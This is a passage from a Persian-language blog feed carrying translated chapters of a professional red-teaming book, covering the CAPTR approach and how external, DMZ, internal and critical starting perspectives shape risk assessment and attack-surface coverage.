صرف 10 دلار برای حل یک مشکل روی یک سیستم یک دلاری، یک سرمایه گذاری ارزشمند محسوب می‌شود. اما مدل تیم CAPTR نتایج را این طور نشان می‌دهد که آسیب‌پذیری سیستم 1 دلاری به دلیل ارتباط این سیستم با آیتم‌های حیاتی، می‌تواند یک مشکل 100 دلاری باشد. حالا، رسیدگی به یک آسیب‌پذیری حیاتی بر اساس هزینه ریسک کلی که برای سازمان دارد، اولویت دهی می‌شود.</p>
<h2><a name="_Toc144125198"></a>خلاصه فصل دوازدهم</h2>
<p>در این فصل توضیح دادیم که چطور در ارزیابی تیم CAPTR زنجیره انتقال (نفوذ) معکوس تکرار می‌شود و این اینکه فرایند تیم قرمز معکوس چگونه به ایجاد نتایج ارزشمند کمک کرده و چقدر از نظر نتیجه و هزینه-مزایا برای سازمان‌ها مفیدتر است.</p>
<p><a href="#_ftnref1" name="_ftn1">[1]</a> فایل‌هایی که هر فردی می‌تواند آنها را اصلاح نماید و همین امر موجب بروز مشکلات امنیتی می‌شود.</p>
<p><a href="#_ftnref2" name="_ftn2">[2]</a> Superuser</p>
]]></content:encoded>
					
					<wfw:commentRss>https://blog.peneter.com/professional-red-teaming-chapter-12/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>کتاب تیم قرمز حرفه‌ای &#8211; فصل یازدهم</title>
		<link>https://blog.peneter.com/professional-red-teaming-chapter-11/</link>
		
		<dc:creator><![CDATA[Peneter]]></dc:creator>
		<pubDate>Sun, 15 Jun 2025 08:39:22 +0000</pubDate>
				<category><![CDATA[کتاب]]></category>
		<guid isPermaLink="false">https://blog.peneter.com/?p=1430</guid>

					<description><![CDATA[فصل یازدهم: انواع دیدگاه‌های شروع ارزیابی در این فصل به بررسی انواع چشم‌انداز حیاتی، شبکه‌های خارجی، داخلی و DMZ برای شروع ارزیابی می‌پردازیم. چشم‌اندازهای اولیه...]]></description>
										<content:encoded><![CDATA[<h1><a name="_Toc144125168"></a>فصل یازدهم: انواع دیدگاه‌های شروع ارزیابی</h1>
<p>در این فصل به بررسی انواع چشم‌انداز حیاتی، شبکه‌های خارجی، داخلی و DMZ برای شروع ارزیابی می‌پردازیم. چشم‌اندازهای اولیه نقاطی برای شروع ارزیابی امنیت تهاجمی هستند که تیم ارزیابی تلاش برای بهره برداری و سرشماری از سیستم‌های هدف را از آن نقاط آغاز می‌کند. هر چشم‌انداز از نظر قابلیت آن برای ارزیابی و بهره برداری از آسیب‌پذیری‌های سازمان ارزیابی می‌شود. سپس این چشم‌اندازها از نظر بهره وری و شیوه بررسی سطح حمله مقایسه می‌شوند. معایب و مزایای هر چشم‌انداز هم مشخص می‌شود. در انتهای این فصل، باید با تأثیرات نقاط شروع بر ارزیابی‌های امنیت تهاجمی و مزایای چشم‌انداز اولیه مورد استفاده تیم CAPTR &#8211; و ضرورت آن &#8211; آشنا شوید. لازم به ذکر است که ارزیابی‌های امنیت تهاجمی توسط انسان‌ها اجرا شده و علاوه بر نیاز به استفاده از ابزارهای بهره برداری و شناسایی آسیب‌پذیری‌های فنی، نیاز به استفاده از مهارت و شگردهای انسانی دارند. چشم‌انداز اولیه تقریباً بر همه جوانب ارزیابی امنیتی دستی تأثیرگذار است و تحلیل‌های بعدی دلیل این موضوع را نشان می‌دهند. شکل 11-1 انواع مختلف چشم‌انداز اولیه را نشان می‌دهد.</p>
<p><img loading="lazy" decoding="async" class="size-full wp-image-1435 aligncenter" src="https://blog.peneter.com/wp-content/uploads/2025/06/professional-red-teaming-fig-11-1.jpg" alt="" width="453" height="219" srcset="https://blog.peneter.com/wp-content/uploads/2025/06/professional-red-teaming-fig-11-1.jpg 453w, https://blog.peneter.com/wp-content/uploads/2025/06/professional-red-teaming-fig-11-1-300x145.jpg 300w, https://blog.peneter.com/wp-content/uploads/2025/06/professional-red-teaming-fig-11-1-100x48.jpg 100w" sizes="auto, (max-width: 453px) 100vw, 453px" /></p>
<p style="text-align: center;">شکل 11-1 شبکه نمونه</p>
<h2><a name="_Toc144125169"></a>چشم‌انداز اولیه خارجی</h2>
<p>چشم‌انداز خارجی، مرسوم‌ترین نقطه شروع ارزیابی‌های امنیتی است. معمولاً ارزیابی‌هایی با چشم‌انداز اولیه خارجی از یک نقطه در اینترنت شروع شده و همانطور که در شکل 11-2 مشخص شده، متمرکز بر محیط بیرونی امنیت سازمانی هستند.</p>
<p><img loading="lazy" decoding="async" class="size-full wp-image-1436 aligncenter" src="https://blog.peneter.com/wp-content/uploads/2025/06/professional-red-teaming-fig-11-2.jpg" alt="" width="450" height="221" srcset="https://blog.peneter.com/wp-content/uploads/2025/06/professional-red-teaming-fig-11-2.jpg 450w, https://blog.peneter.com/wp-content/uploads/2025/06/professional-red-teaming-fig-11-2-300x147.jpg 300w, https://blog.peneter.com/wp-content/uploads/2025/06/professional-red-teaming-fig-11-2-100x49.jpg 100w" sizes="auto, (max-width: 450px) 100vw, 450px" /></p>
<p style="text-align: center;">شکل 11-2 چشم‌انداز شروع خارجی</p>
<p><strong>چشم‌انداز شروع </strong><strong>DMZ</strong></p>
<p>ارزیابی شبکه با چشم‌انداز DMZ مستلزم شروع این فرایند از یکی از نقاط حضور سازمان در خود DMZ است. همچنین در این روش نه تنها سرورهای متصل به اینترنت به صورت عرضی مورد بهره برداری قرار می‌گیرند بلکه امکان حمله به محیط درون سازمان از نقطه‌ای در DMZ هم مورد بررسی قرار می‌گیرد. با این چشم‌انداز می‌توان مطمئن شد که قابلیت مهاجمان برای حرکت از دستگاه‌های محدوده DMZ که با اینترنت در تماس هستند به یک دستگاه دیگر در DMZ و همچنین قابلیت حرکت از DMZ به شبکه داخلی، مورد ارزیابی قرار می‌گیرد. این موضوع در شکل 11-3 مشخص شده است.</p>
<p><img loading="lazy" decoding="async" class="alignnone size-full wp-image-1437 aligncenter" src="https://blog.peneter.com/wp-content/uploads/2025/06/professional-red-teaming-fig-11-3.jpg" alt="" width="466" height="228" srcset="https://blog.peneter.com/wp-content/uploads/2025/06/professional-red-teaming-fig-11-3.jpg 466w, https://blog.peneter.com/wp-content/uploads/2025/06/professional-red-teaming-fig-11-3-300x147.jpg 300w, https://blog.peneter.com/wp-content/uploads/2025/06/professional-red-teaming-fig-11-3-100x49.jpg 100w" sizes="auto, (max-width: 466px) 100vw, 466px" /></p>
<p style="text-align: center;">شکل 11-3 چشم‌انداز اولیه DMZ</p>
<h2><a name="_Toc144125170"></a>چشم‌انداز اولیه داخلی</h2>
<p>در چشم‌انداز اولیه داخلی، ارزیابی از نقاطی داخل خود شبکه شروع می‌شود. معمولاً ارزیابی با این چشم‌انداز با استفاده از یک حساب کاربری درون شبکه شروع می‌شود. اجرای ارزیابی از این چشم‌انداز اولیه به منظور تعیین امکان حرکت در شبکه داخلی و ارتقای سطح دسترسی در این شبکه انجام می‌شود که این موضوع در شکل 11-4 به تصویر کشیده شده است.</p>
<p><img loading="lazy" decoding="async" class="size-full wp-image-1438 aligncenter" src="https://blog.peneter.com/wp-content/uploads/2025/06/professional-red-teaming-fig-11-4.jpg" alt="" width="472" height="231" srcset="https://blog.peneter.com/wp-content/uploads/2025/06/professional-red-teaming-fig-11-4.jpg 472w, https://blog.peneter.com/wp-content/uploads/2025/06/professional-red-teaming-fig-11-4-300x147.jpg 300w, https://blog.peneter.com/wp-content/uploads/2025/06/professional-red-teaming-fig-11-4-100x49.jpg 100w" sizes="auto, (max-width: 472px) 100vw, 472px" /></p>
<p style="text-align: center;">شکل 11-4 چشم‌انداز اولیه داخلی</p>
<h2><a name="_Toc144125171"></a>چشم‌انداز اولیه حیاتی</h2>
<p>در این حالت، ارزیابی تیم CAPTR از نقاطی شروع می‌شود که بیشترین ریسک را برای سازمان دارند. تمرکز ارزیابی با این چشم‌انداز، تشخیص وجود آسیب‌پذیری در دستگاه‌های داخلی است که امکان ایجاد نفوذ کشنده یا حیاتی را برای مهاجمان فراهم می‌کند. می‌توان ارزیابی را به نقاطی از سازمان گسترش داد که به مهاجم امکان می‌دهند به آیتم‌های حیاتی نفوذ کرده و حرکت را به سمت بیرون ادامه دهد. هدف این چهارمین چشم‌انداز، مقابله با تأثیر رخنه است؛ صرف نظر از اینکه چه آسیب‌پذیری به مهاجم یا یکی از افراد داخلی امکان داده که بر این چشم‌انداز تأثیر بگذارند. شروع ارزیابی امنیتی با هدف ایجاد نفوذ به جای ارزیابی نقاط شروع بالقوه، امکان پرداختن به انواع تهدیدات را فراهم می‌کند. این چشم‌انداز با چشم‌انداز شروع داخلی متفاوت است چون از نقاطی در محدوده تعیین شده برای عملیات CAPTR شروع می‌شود که به عنوان نقاطی با احتمال نفوذ حیاتی یا کشنده شناسایی شده بودند نه صرفاً نقاطی که امکان دسترسی سطح بالا به سازمان را فراهم می‌کنند. این چشم‌انداز در شکل 11-5 به تصویر کشیده شده است.</p>
<p><img loading="lazy" decoding="async" class="size-full wp-image-1439 aligncenter" src="https://blog.peneter.com/wp-content/uploads/2025/06/professional-red-teaming-fig-11-5.jpg" alt="" width="467" height="229" srcset="https://blog.peneter.com/wp-content/uploads/2025/06/professional-red-teaming-fig-11-5.jpg 467w, https://blog.peneter.com/wp-content/uploads/2025/06/professional-red-teaming-fig-11-5-300x147.jpg 300w, https://blog.peneter.com/wp-content/uploads/2025/06/professional-red-teaming-fig-11-5-100x49.jpg 100w" sizes="auto, (max-width: 467px) 100vw, 467px" /></p>
<p style="text-align: center;">شکل 11-5 چشم‌انداز اولیه حیاتی</p>
<h2><a name="_Toc144125172"></a>تأثیر چشم‌انداز اولیه بر ارزیابی ریسک</h2>
<p>برای مقایسه چهار چشم‌انداز اولیه شروع ارزیابی، در ادامه یک تحلیل کیفی از ریسک خواهیم داشت. تأثیر، معیاری است که نشان می‌دهد نفوذ به اشیایی با امکان نفوذ مرگبار چقدر آسیب آفرین است. یکی دیگر از معیارهای مورد استفاده برای رتبه بندی ریسک، احتمال رخ دادن آن است. برای نشان دادن احتمال، از معیار زمان استفاده شده و مشخص می‌کند که با شروع ارزیابی از یک چشم‌انداز خاص، چه مدت طول می‌کشد تا اطلاعاتی با تأثیرات مختلف فاش شوند. همچنین، این ارزیابی احتمال اینکه یک مهاجم بتواند همین کار را انجام دهد نیز مشخص می‌کند. برای مشخص کردن تأثیر یافته‌های چنین ارزیابی‌هایی، ویژگی تأثیر را به چهار سطح تقسیم کردیم و اعداد بزرگتر نشان می‌دهند که نفوذ به دستگاه‌های آن سطح برای سازمان تأثیر و پیامدهای بیشتری دارد (شکل 11-6). آیتم‌های سطح صفر تأثیر ناچیزی دارند؛ نفوذ به آیتم‌های سطح 3 می‌تواند بر عملکرد و وجود سازمان تأثیر کشنده‌ای داشته باشد. برای تعیین نوع اطلاعاتی که ممکن است در هر چشم‌انداز شناسایی شود، شکل 11-6 را طراحی کردیم؛ کادرهای مشکی این تصویر نشان می‌دهند که احتمال وجود چه سطحی از طبقه بندی حفاظت داده‌ها در چه بخش‌هایی از شبکه وجود دارد.</p>
<p><img loading="lazy" decoding="async" class="size-full wp-image-1440 aligncenter" src="https://blog.peneter.com/wp-content/uploads/2025/06/professional-red-teaming-fig-11-6.jpg" alt="" width="473" height="244" srcset="https://blog.peneter.com/wp-content/uploads/2025/06/professional-red-teaming-fig-11-6.jpg 473w, https://blog.peneter.com/wp-content/uploads/2025/06/professional-red-teaming-fig-11-6-300x155.jpg 300w, https://blog.peneter.com/wp-content/uploads/2025/06/professional-red-teaming-fig-11-6-100x52.jpg 100w" sizes="auto, (max-width: 473px) 100vw, 473px" /></p>
<p style="text-align: center;">شکل 11-6 سطوح ریسک داده</p>
<p>همانطور که قبل از این اشاره، «احتمال» در قالب مدت زمان شروع ارزیابی از یک چشم‌انداز مشخص تا پیدا کردن یافته‌هایی با تأثیری خاص نمایش داده می‌شود. مثلاً اگر یک چشم‌انداز ارزیابی بتواند به صورت تقریباً فوری داده‌هایی با یک سطح حفاظت خاص را پیدا کند، احتمال بسیار زیادی وجود دارد که چشم‌انداز مورد استفاده بتواند ریسک آن سطح تأثیر را ارزیابی کند. اگر ارزیابی این چشم‌انداز زمانبر شده و نیاز به حرکت به سمت سطوح مختلف حفاظت داده داشته باشد، احتمال کم خواهد بود.</p>
<p>گذشت زمان حین ارزیابی، می‌تواند چشم‌انداز ارزیابی را هم تغییر دهد. ممکن است یک ارزیابی از چشم‌انداز اولیه خارجی شروع شده، به شبکه منتقل شده و سپس با استفاده از بهره برداری، به یک دستگاه در DMZ دسترسی پیدا کند. از این نقطه به بعد، ارزیابی یک بازنمایی از چندین چشم‌انداز حمله مختلف خواهد بود. این فرایند با پیشرفت ارزیاب در شبکه ادامه پیدا می‌کند. عوامل تعیین کننده در این زمینه، زمان، تغییرات چشم‌اندازها و احتمال هستند.</p>
<h3><a name="_Toc144125173"></a>تأثیر بر ارزیابی ریسک: چشم‌انداز خارجی</h3>
<p>چشم‌انداز اولیه خارجی، متمرکز بر محیط بیرونی شبکه است و فقط پس از شناسایی و بهره برداری آسیب‌پذیری‌های بیرونی‌ترین لایه‌های یک سازمان به سایر بخش‌های سازمان حرکت می‌کند. بنابراین، احتمال زیادی وجود دارد که در اولین مراحل ارزیابی تنها به یافته‌های مربوط به سطوح صفر و یک برسیم. در صورت در اختیار داشتن زمان بیشتر می‌توان با انتقال و حرکت عمیق‌تر در شبکه به داده‌های سطوح بالاتر هم دسترسی پیدا کرد اما از آنجایی که این امر مستلزم طولانی‌تر شدن زمان تست است، احتمال آن کم در نظر گرفته می‌شود. این تغییر چشم‌انداز با پیشرفت زمان در شکل 11-7 مشخص شده است.</p>
<p><img loading="lazy" decoding="async" class="size-full wp-image-1441 aligncenter" src="https://blog.peneter.com/wp-content/uploads/2025/06/professional-red-teaming-fig-11-7.jpg" alt="" width="454" height="234" srcset="https://blog.peneter.com/wp-content/uploads/2025/06/professional-red-teaming-fig-11-7.jpg 454w, https://blog.peneter.com/wp-content/uploads/2025/06/professional-red-teaming-fig-11-7-300x155.jpg 300w, https://blog.peneter.com/wp-content/uploads/2025/06/professional-red-teaming-fig-11-7-100x52.jpg 100w" sizes="auto, (max-width: 454px) 100vw, 454px" /></p>
<p style="text-align: center;">شکل 11-7 ارزیابی ریسک چشم‌انداز خارجی</p>
<p>از آنجایی که چشم‌انداز خارجی فاصله زیادی با پیدا شدن داده‌های سطح سه در یک شبکه دارد، زمان رسیدن به این نقطه بیشتر و احتمال آن کمتر است. گرچه میزان تأثیر اطلاعات سطح صفر کم است اما احتمال نسبتاً قطعی آن منجر به ایجاد سطح ریسک متوسط برای یافته‌های این چشم‌انداز می‌شود. احتمال رسیدن این چشم‌انداز به داده‌های سطوح بالاتر کمتر است چون شناسایی آسیب‌پذیری‌های بیشتر که امکان حرکت عمیق‌تر در سازمان را فراهم کنند، مستلزم صرف زمان است. سطح ریسکی که ممکن است در اینجا ارزیابی شود، کم تا متوسط است.</p>
<h3><a name="_Toc144125174"></a>تأثیر بر ارزیابی ریسک: چشم‌انداز DMZ</h3>
<p>چشم‌انداز DMZ نسبت به چشم‌انداز خارجی برتری دارد چون از نقطه‌ای درون منطقه DMZ سازمان شروع شده و نیازی به رسیدن به یافته‌هایی که امکان نفوذ به DMZ را از طریق اینترنت فراهم کنند، ندارد (شکل 11-8 را ببینید).</p>
<p><img loading="lazy" decoding="async" class="size-full wp-image-1442 aligncenter" src="https://blog.peneter.com/wp-content/uploads/2025/06/professional-red-teaming-fig-11-8.jpg" alt="" width="472" height="244" srcset="https://blog.peneter.com/wp-content/uploads/2025/06/professional-red-teaming-fig-11-8.jpg 472w, https://blog.peneter.com/wp-content/uploads/2025/06/professional-red-teaming-fig-11-8-300x155.jpg 300w, https://blog.peneter.com/wp-content/uploads/2025/06/professional-red-teaming-fig-11-8-100x52.jpg 100w" sizes="auto, (max-width: 472px) 100vw, 472px" /></p>
<p style="text-align: center;">شکل 11-8 ارزیابی ریسک چشم‌انداز DMZ</p>
<p>از آنجایی که ارزیابی از این چشم‌انداز نیازی به حرکت از چشم‌انداز خارجی به درون سازمان ندارد، احتمال دستیابی به یافته‌های مربوط به سطوح بالاتر حفاظت از داده‌ها در این حالت بیشتر است چون شناسایی آنها کمتر زمان می‌برد که این امر باعث افزایش احتمال شناسایی تهدیداتی با تأثیر شدید می‌شود. این چشم‌انداز DMZ بیشترین پتانسیل را برای ارزیابی سطح ریسک متوسط دارد.</p>
<h3><a name="_Toc144125175"></a>تأثیر بر ارزیابی ریسک: چشم‌انداز داخلی</h3>
<p>با شروع ارزیابی از نقطه‌ای درون شبکه، احتمال رسیدن زود هنگام ارزیابی به یافته‌هایی مربوط به داده‌های سطوح 1 و 2 بیشتر است. یکی از عوارض شروع ارزیابی با این چشم‌انداز این است که احتمال رسیدن آن به اطلاعات سطح صفر نسبت به دو چشم‌انداز قبلی کمتر است. مثل دو چشم‌انداز قبلی، شروع ارزیابی از این چشم‌انداز هم برای دسترسی به داده‌های سطح سه زمان‌بر است.</p>
<p>شکل 11-9 نشان می‌دهد که شروع ارزیابی با این چشم‌انداز برای رسیدن به داده‌های سطح 3 مثل داده‌های سطح صفر زمان‌بر است. بنابراین، احتمال دستیابی به داده‌هایی با سطح ریسک 1 و 2 در این روش بیشتر است. از آنجایی که احتمال به خطر افتادن داده‌های سطح سه توسط آسیب‌پذیری‌هایی که زودتر با این چشم‌انداز شناسایی می‌شوند زیاد نیست، این چشم‌انداز به ارزیابی مؤثر بیشترین سطح ریسک کمک نمی‌کند اما مسلم است که چشم‌انداز داخلی، نشان دهنده بخش عمده‌ای از سطح مقطع ریسک بالقوه است.</p>
<p><img loading="lazy" decoding="async" class="size-full wp-image-1443 aligncenter" src="https://blog.peneter.com/wp-content/uploads/2025/06/professional-red-teaming-fig-11-9.jpg" alt="" width="472" height="244" srcset="https://blog.peneter.com/wp-content/uploads/2025/06/professional-red-teaming-fig-11-9.jpg 472w, https://blog.peneter.com/wp-content/uploads/2025/06/professional-red-teaming-fig-11-9-300x155.jpg 300w, https://blog.peneter.com/wp-content/uploads/2025/06/professional-red-teaming-fig-11-9-100x52.jpg 100w" sizes="auto, (max-width: 472px) 100vw, 472px" /></p>
<p style="text-align: center;">شکل 11-9 ارزیابی ریسک چشم‌انداز داخلی</p>
<h3><a name="_Toc144125176"></a>تأثیر بر ارزیابی ریسک: چشم‌انداز حیاتی</h3>
<p>ارزیابی با استفاده از چشم‌انداز اولیه حیاتی، از اعماق شبکه که می‌توانند ارزشمندترین نقاط آن باشند شروع می‌شود. این یعنی بر خلاف سه چشم‌انداز قبلی، یافته‌های نشان دهنده به خطر افتادن داده‌های سطح 3 در ابتدای ارزیابی به دست می‌آیند. متأسفانه، با شروع ارزیابی از این چشم‌انداز باید برای رسیدن به نقطه‌ای از شبکه که حاوی داده‌های سطح صفر تا 2 است، زمان بیشتری صرف کرد (شکل 11-10 را ببینید).</p>
<p><img loading="lazy" decoding="async" class="size-full wp-image-1444 aligncenter" src="https://blog.peneter.com/wp-content/uploads/2025/06/professional-red-teaming-fig-11-10.jpg" alt="" width="472" height="244" srcset="https://blog.peneter.com/wp-content/uploads/2025/06/professional-red-teaming-fig-11-10.jpg 472w, https://blog.peneter.com/wp-content/uploads/2025/06/professional-red-teaming-fig-11-10-300x155.jpg 300w, https://blog.peneter.com/wp-content/uploads/2025/06/professional-red-teaming-fig-11-10-100x52.jpg 100w" sizes="auto, (max-width: 472px) 100vw, 472px" /></p>
<p style="text-align: center;">شکل 11-10 ارزیابی ریسک چشم‌انداز حیاتی</p>
<p>استفاده از این چشم‌انداز باعث کاهش احتمال شناسایی داده‌های سطح 1 و 2 حین ارزیابی شده و احتمال برخورد با داده‌های سطح صفر نیز در این روش بسیار کمتر است. از نظر بهره وری ارزیابی کلی سازمان، احتمالاً این چشم‌انداز اولیه کمترین کارایی را در پوشش کل سطوح ریسک دارد. این روش در پیدا کردن داده‌های سطح 3 کارآمد است چون با ارزیابی دستگاه‌های حاوی این اطلاعات شروع می‌شود. بنابراین، پیدا کردن یافته‌هایی برای دسترسی به داده‌های سطح 3 با این چشم‌انداز محتمل‌تر است در نتیجه این چشم‌انداز امکان ارزیابی شدیدترین سطوح ریسک پیش روی سازمان را فراهم می‌کند.</p>
<h2><a name="_Toc144125177"></a>تأثیر بر پوشش سطح حمله</h2>
<p>مقایسه بعدی بین چشم‌اندازهای اولیه، از نظر قابلیت هر چشم‌انداز برای بررسی دقیق سطح حمله حین ارزیابی انجام می‌شود. ممکن است ارزیابی به نتایجی که آیتم‌های به شدت ارزشمند را پوشش می‌دهند، نرسد اما باز هم در صورت ارزیابی بخش عمده‌ای از سطح حمله سازمان، بسیار کارآمد خواهد بود. سطح حمله، موجودیت یا دارایی است که می‌تواند امکان تحت تأثیر قرار دادن یک موجودیت خاص را فراهم کند. پوشش سطح حمله با ارزیابی آسیب‌پذیری‌های آن، جزء اهداف ارزیابی امنیتی است. اما نباید با همه سطوح حمله به یک صورت برخورد کرد چون اجزای مختلف سطح حمله کلی، امکان دسترسی فوری به سطوح متفاوتی از داده‌ها را فراهم می‌کنند. به عنوان مثال، سطوحی که در تماس با اینترنت هستند، سطح حمله وسیع‌تری را شامل می‌شوند چون در معرض حملات و تلاش‌های بیشتر برای سرشماری قرار دارند. با این حال، همانطور که اشاره شد، ممکن است آسیب‌پذیری‌هایی که امکان دسترسی به سرورهای در تماس با اینترنت را فراهم می‌کنند، در ابتدا برای سازمان فلج کننده و حیاتی نباشند. ارزیابی اینکه هر چشم‌انداز اولیه چه تأثیری بر تحلیل سطح حمله دارد، به تشخیص مناسب بودن آن چشم‌انداز به عنوان چشم‌انداز اولیه ارزیابی امنیتی کمک کرده و نشان می‌دهد که این چشم‌اندازها در ترکیب با هم، چطور اجزای لازم یک ارزیابی امنیتی کارآمد را برای سازمان فراهم می‌کنند.</p>
<h3><a name="_Toc144125178"></a>پوشش سطح حمله: چشم‌انداز خارجی</h3>
<p>اجزایی از یک سازمان که در تماس با اینترنت هستند، نسبت به سایر اجزا در دسترس کاربران و مهاجمان بیشتری قرار دارند. بنابراین، می‌توان گفت که لایه‌ای از شبکه که با اینترنت تماس دارد، دارای بیشترین سطح حمله است. ممکن است بهره برداری از آسیب‌پذیری‌های این بخش منجر به بدترین عواقب نشود اما احتمال پیدا شدن آنها در اینجا بیشتر است. ارایه خدمات از طریق اینترنت برای کاربران جزء مسائلی است که بیشتر سازمان‌های امروزی باید ریسک آن را بپذیرند. چشم‌انداز خارجی برای ارزیابی امنیتی، مستقیم‌ترین روش ارزیابی این سطح است که در شکل 11-11 هم آن را مشاهده می‌کنید.</p>
<p><img loading="lazy" decoding="async" class="size-full wp-image-1445 aligncenter" src="https://blog.peneter.com/wp-content/uploads/2025/06/professional-red-teaming-fig-11-11.jpg" alt="" width="373" height="188" srcset="https://blog.peneter.com/wp-content/uploads/2025/06/professional-red-teaming-fig-11-11.jpg 373w, https://blog.peneter.com/wp-content/uploads/2025/06/professional-red-teaming-fig-11-11-300x151.jpg 300w, https://blog.peneter.com/wp-content/uploads/2025/06/professional-red-teaming-fig-11-11-100x50.jpg 100w" sizes="auto, (max-width: 373px) 100vw, 373px" /></p>
<p style="text-align: center;">شکل 11-11 ارزیابی سطح حمله با چشم‌انداز خارجی</p>
<p>چشم‌انداز خارجی، امکان پوشش بخش وسیعی از سطح حمله سازمان را فراهم می‌کند. اما ممکن است رسیدن این نوع ارزیابی به بخش‌هایی عمیق‌تر از شبکه مدتی زمان ببرد &#8211; یا اصلاً انجام نشود. شکل 11-11 سطح حمله ارزیابی شده را به رنگ قرمز نشان داده و مشخص می‌کند که چگونه با گذشت زمان، تیم ارزیابی به بخش‌های عمیق‌تری از سطح حمله می‌رسد. هرم سطح حمله اول (سمت چپ شکل 11-11) نشان می‌دهد که چشم‌انداز خارجی فقط سطح حمله بیرونی سازمان را می‌بیند. هرم وسطی، نشان دهنده اواسط ارزیابی از منظر چشم‌انداز خارجی است و اینکه چطور قابلیت ارزیابی نقاط عمیق‌تری از سازمان را فراهم می‌کند. هرم سمت راست، انتهای ارزیابی را نشان می‌دهد و اینکه چطور بخش‌هایی عمیق‌تر از سطح حمله ارزیابی شده اما نه کل آن.</p>
<h3><a name="_Toc144125179"></a>پوشش سطح حمله: چشم‌انداز DMZ</h3>
<p>شروع ارزیابی از منطقه DMZ نیاز به استفاده از یک آسیب‌پذیری برای عبور از سیستم‌های دفاعی در تماس با اینترنت را از بین می‌برد. بنابراین، تیم ارزیابی می‌تواند با استفاده از این چشم‌انداز سایر دستگاه‌های DMZ را سریع‌تر را ارزیابی کرده و آسیب‌پذیری‌های موجود از طریق حرکت عرضی در شبکه را شناسایی کند (شکل 11-12).</p>
<p><img loading="lazy" decoding="async" class="size-full wp-image-1446 aligncenter" src="https://blog.peneter.com/wp-content/uploads/2025/06/professional-red-teaming-fig-11-12.jpg" alt="" width="367" height="186" srcset="https://blog.peneter.com/wp-content/uploads/2025/06/professional-red-teaming-fig-11-12.jpg 367w, https://blog.peneter.com/wp-content/uploads/2025/06/professional-red-teaming-fig-11-12-300x152.jpg 300w, https://blog.peneter.com/wp-content/uploads/2025/06/professional-red-teaming-fig-11-12-100x51.jpg 100w" sizes="auto, (max-width: 367px) 100vw, 367px" /></p>
<p style="text-align: center;">شکل 11-12 ارزیابی سطح حمله با چشم‌انداز DMZ</p>
<p>همانطور که در شکل 11-12 مشخص شده، با شروع ارزیابی از DMZ، نیازی به صرف زمان برای دسترسی به دستگاه‌های DMZ وجود نحواهد داشت. همچنین با این روش می‌توان سریع‌تر از چشم‌انداز خارجی؛ دستگاه‌های داخلی درون شبکه را ارزیابی کرد چون در غیر این صورت باید چشم‌انداز خارجی که بخش عمده‌ای از سطح حمله یک سازمان را تشکیل می‌دهد، اول مورد بررسی قرار گیرد. یکی از موانع احتمالی که تیم ارزیابی در این روش با آن روبرو می‌شود، عدم شناسایی آسیب‌پذیری‌های قابل تشخیص از طریق حملات و اسکن‌های مبتنی بر اینترنت است چون دستگاه‌های موجود در منطقه DMZ باید با اینترنت تعامل داشته باشند نه یکدیگر.</p>
<h3><a name="_Toc144125180"></a>پوشش سطح حمله: چشم‌انداز داخلی</h3>
<p>ارزیابی با چشم‌انداز داخلی، از نقاطی عمیق‌تر در شبکه شروع شده و به بخش بیشتری از سطح حمله دسترسی دارد. همچنین این روش باعث می‌شود که مثل چشم‌انداز DMZ، ارزیابی تهدیدات قابل انتقال از طریق اینترنت به راحتی ممکن نبوده و بسیار زمان‌بر باشد (شکل 11-13 را ببینید).</p>
<p><img loading="lazy" decoding="async" class="size-full wp-image-1447 aligncenter" src="https://blog.peneter.com/wp-content/uploads/2025/06/professional-red-teaming-fig-11-13.jpg" alt="" width="357" height="181" srcset="https://blog.peneter.com/wp-content/uploads/2025/06/professional-red-teaming-fig-11-13.jpg 357w, https://blog.peneter.com/wp-content/uploads/2025/06/professional-red-teaming-fig-11-13-300x152.jpg 300w, https://blog.peneter.com/wp-content/uploads/2025/06/professional-red-teaming-fig-11-13-100x51.jpg 100w" sizes="auto, (max-width: 357px) 100vw, 357px" /></p>
<p style="text-align: center;">شکل 11-13 ارزیابی سطح حمله با چشم‌انداز داخلی</p>
<p>مزیت ارزیابی با چشم‌انداز داخلی، امکان شناسایی آسیب‌پذیری‌هایی است که می‌توانند منجر به افشای داده‌هایی شوند که سازمان به هیچ وجه قصد انتشار عمومی آنها را ندارد. این در حالیست که ممکن است چشم‌اندازهای خارجی و DMZ روی یک سطح حمله بزرگتر که بیشتر از طریق اینترنت در دسترس است، تعداد زیادی آسیب‌پذیری کم اهمیت‌تر را پیدا کنند.</p>
<h3><a name="_Toc144125181"></a>پوشش سطح حمله: چشم‌انداز حیاتی</h3>
<p>چشم‌انداز حیاتی، تحلیل را با بخش بسیار کمتری از سطح حمله سازمان انجام می‌دهد. این نوع ارزیابی، بر خلاف ارزیابی با چشم‌انداز خارجی است که با تمرکز بر بخش بسیار وسیعی از سطح حمله انجام می‌شود. در روش شروع با چشم‌انداز حیاتی، تمرکز اولیه روی بخش‌های بااولویت‌تر است. غیرمنطقی است که فرض کنیم ارزیابی با شروع از این چشم‌انداز امکان بررسی سرویس‌های در تماس با اینترنت را در یک بازه زمانی معقول فراهم می‌کند. هدف ارزیابی با این چشم‌انداز این است که کارآمدترین تحلیل را برای خطرناک‌ترین سطح حمله مربوط به اشیایی با تأثیر زیاد انجام دهد (شکل 11-14 را ببینید).</p>
<p><img loading="lazy" decoding="async" class="size-full wp-image-1448 aligncenter" src="https://blog.peneter.com/wp-content/uploads/2025/06/professional-red-teaming-fig-11-14.jpg" alt="" width="429" height="224" srcset="https://blog.peneter.com/wp-content/uploads/2025/06/professional-red-teaming-fig-11-14.jpg 429w, https://blog.peneter.com/wp-content/uploads/2025/06/professional-red-teaming-fig-11-14-300x157.jpg 300w, https://blog.peneter.com/wp-content/uploads/2025/06/professional-red-teaming-fig-11-14-100x52.jpg 100w" sizes="auto, (max-width: 429px) 100vw, 429px" /></p>
<p style="text-align: center;">شکل 11-14 ارزیابی سطح حمله با چشم‌انداز حیاتی</p>
